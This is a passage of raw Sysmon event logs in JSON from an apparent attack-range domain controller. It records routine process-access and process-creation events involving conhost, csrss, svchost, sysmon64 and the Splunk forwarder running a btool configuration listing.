AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nTargetProcessId: 3800\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","TargetProcessId":"3800","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.182\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nProcessId: 3820\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nParentProcessId: 3800\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.182","ProcessGuid":"{90617006-3FE5-5F2D-0000-001057CC0200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","ParentProcessId":"3800","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nSourceProcessId: 3800\r\nSourceThreadId: 3804\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","SourceProcessId":"3800","SourceThreadId":"3804","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+146d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 